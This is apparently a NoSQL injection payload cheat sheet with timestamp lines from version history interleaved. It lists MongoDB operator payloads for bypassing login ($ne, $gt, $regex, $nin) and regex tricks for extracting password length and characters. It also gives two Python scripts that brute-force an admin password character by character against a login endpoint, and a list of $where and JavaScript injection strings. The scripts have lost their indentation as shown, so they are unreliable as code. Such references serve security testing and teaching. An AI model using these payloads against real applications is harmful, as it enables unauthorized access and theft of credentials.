2016-10-30 11:53:32 +00:00
# NoSQL injection
2018-08-12 21:30:22 +00:00
2019-06-29 15:55:13 +00:00
> NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.
## Summary
* [Tools ](#tools )
2019-10-09 14:53:34 +00:00
* [Exploit ](#exploits )
2019-06-29 15:55:13 +00:00
* [Authentication Bypass ](#authentication-bypass )
* [Extract length information ](#extract-length-information )
* [Extract data information ](#extract-data-information )
* [Blind NoSQL ](#blind-nosql )
* [POST with JSON body ](#post-with-json-body )
* [GET ](#get )
* [MongoDB Payloads ](#mongodb-payloads )
* [References ](#references )
## Tools
* [NoSQLmap - Automated NoSQL database enumeration and web application exploitation tool ](https://github.com/codingo/NoSQLMap )
2019-10-09 14:53:34 +00:00
* [nosqlilab - A lab for playing with NoSQL Injection ](https://github.com/digininja/nosqlilab )
2016-10-30 11:53:32 +00:00
## Exploit
2019-06-29 15:55:13 +00:00
### Authentication Bypass
2018-02-15 22:27:42 +00:00
Basic authentication bypass using not equal ($ne) or greater ($gt)
2018-08-12 21:30:22 +00:00
```json
2020-05-24 12:09:46 +00:00
in DATA
2016-10-30 11:53:32 +00:00
username[$ne]=toto& password[$ne]=toto
2020-05-24 12:09:46 +00:00
login[$regex]=a.*& pass[$ne]=lol
login[$gt]=admin& login[$lt]=test& pass[$ne]=1
login[$nin][]=admin& login[$nin][]=test& pass[$ne]=toto
2018-02-15 22:27:42 +00:00
in JSON
2019-03-06 23:03:25 +00:00
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
2016-10-30 11:53:32 +00:00
```
2019-06-29 15:55:13 +00:00
### Extract length information
2018-08-12 21:30:22 +00:00
```json
2016-10-30 11:53:32 +00:00
username[$ne]=toto& password[$regex]=.{1}
username[$ne]=toto& password[$regex]=.{3}
```
2019-06-29 15:55:13 +00:00
### Extract data information
2018-08-12 21:30:22 +00:00
```json
2018-02-15 22:27:42 +00:00
in URL
2016-10-30 11:53:32 +00:00
username[$ne]=toto& password[$regex]=m.{2}
username[$ne]=toto& password[$regex]=md.{1}
username[$ne]=toto& password[$regex]=mdp
username[$ne]=toto& password[$regex]=m.*
username[$ne]=toto& password[$regex]=md.*
2018-02-15 22:27:42 +00:00
in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
```
2019-03-06 23:03:25 +00:00
Extract data with "in"
2019-03-18 23:06:22 +00:00
```json
2019-03-06 23:03:25 +00:00
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
```
2018-02-15 22:27:42 +00:00
## Blind NoSQL
2018-08-12 21:30:22 +00:00
2019-04-21 11:00:16 +00:00
### POST with JSON body
2018-02-15 22:27:42 +00:00
```python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
2019-04-21 11:00:16 +00:00
u="http://example.org/login"
2019-04-24 20:59:24 +00:00
headers={'content-type': 'application/json'}
2018-02-15 22:27:42 +00:00
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
2019-10-29 19:11:56 +00:00
r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
if 'OK' in r.text or r.status_code == 302:
2018-02-15 22:27:42 +00:00
print("Found one more char : %s" % (password+c))
password += c
2016-10-30 11:53:32 +00:00
```
2019-04-21 11:00:16 +00:00
### GET
```python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username='admin'
password=''
u='http://example.org/login'
while True:
for c in string.printable:
if c not in ['*','+','.','?','|', '#', '& ', '$']:
payload='?username=%s& password[$regex]=^%s' % (username, password + c)
r = requests.get(u + payload)
if 'Yeah' in r.text:
print("Found one more char : %s" % (password+c))
password += c
```
2017-05-17 18:40:45 +00:00
## MongoDB Payloads
2018-08-12 21:30:22 +00:00
```bash
2017-05-17 18:40:45 +00:00
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' & & this.password.match(/.*/)//+%00
' & & this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
```
2018-12-24 14:02:50 +00:00
## References
2018-08-12 21:30:22 +00:00
* [Les NOSQL injections Classique et Blind: Never trust user input - Geluchat ](https://www.dailysecurity.fr/nosql-injections-classique-blind/ )
* [Testing for NoSQL injection - OWASP ](https://www.owasp.org/index.php/Testing_for_NoSQL_injection )
2019-06-29 15:55:13 +00:00
* [NoSQL injection wordlists - cr0hn ](https://github.com/cr0hn/nosqlinjection_wordlists )
* [NoSQL Injection in MongoDB - JUL 17, 2016 - Zanon ](https://zanon.io/posts/nosql-injection-in-mongodb )